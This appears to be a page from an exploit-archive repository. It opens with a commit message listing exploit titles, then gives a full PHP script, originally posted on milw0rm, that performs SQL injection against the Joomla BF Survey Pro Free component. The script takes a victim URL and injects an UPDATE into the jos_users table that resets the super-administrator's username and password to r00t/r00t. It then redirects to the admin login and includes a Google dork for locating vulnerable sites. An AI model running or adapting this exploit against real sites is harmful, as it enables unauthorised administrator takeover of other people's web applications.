477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
42 lines
1.7 KiB
PHP
Executable file
42 lines
1.7 KiB
PHP
Executable file
<?php
|
|
echo '<h2>Joomla Component BF Survey Pro Free SQL Injection Exploit</h2>';
|
|
echo '<h4>jdc 2009</h4>';
|
|
echo '<p>Google dork: inurl:com_bfsurvey_profree</p>';
|
|
ini_set( "memory_limit", "128M" );
|
|
ini_set( "max_execution_time", 0 );
|
|
set_time_limit( 0 );
|
|
if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' );
|
|
$vulnerableFile = "http://".$_GET['url']."/index.php";
|
|
$url = $vulnerableFile;
|
|
$data = array();
|
|
$data['option'] = 'com_bfsurvey_profree';
|
|
$data['task'] = 'updateOnePage';
|
|
$data['table'] = "jos_users set username=CHAR(".sqlChar( 'r00t' )."), password=CHAR(".sqlChar( md5('r00t' ) )."), email=CHAR(".sqlChar( 'x' ).") where gid=25 limit 1 -- '";
|
|
$output = getData();
|
|
die( '<script>alert("Now log in as r00t/r00t!");location.href="http://'.$_GET['url'].'/administrator/index.php";</script>' );
|
|
function shutUp( $buffer ) { return false; }
|
|
function sqlChar( $str ) { return implode( ',', array_map( 'ord', str_split( $str ) ) ); }
|
|
function getData()
|
|
{
|
|
global $data, $url;
|
|
ob_start( "shutUp" );
|
|
$ch = curl_init();
|
|
curl_setopt( $ch, CURL_TIMEOUT, 120 );
|
|
curl_setopt( $ch, CURL_RETURNTRANSFER, 0 );
|
|
curl_setopt( $ch, CURLOPT_URL, $url );
|
|
if( count( $data ) > 0 )
|
|
{
|
|
curl_setopt( $ch, CURLOPT_POST, count( $data ) );
|
|
curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) );
|
|
}
|
|
curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" );
|
|
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 );
|
|
$result = curl_exec( $ch );
|
|
curl_close( $ch );
|
|
$return = ob_get_contents();
|
|
ob_end_clean();
|
|
return $return;
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2009-09-09]
|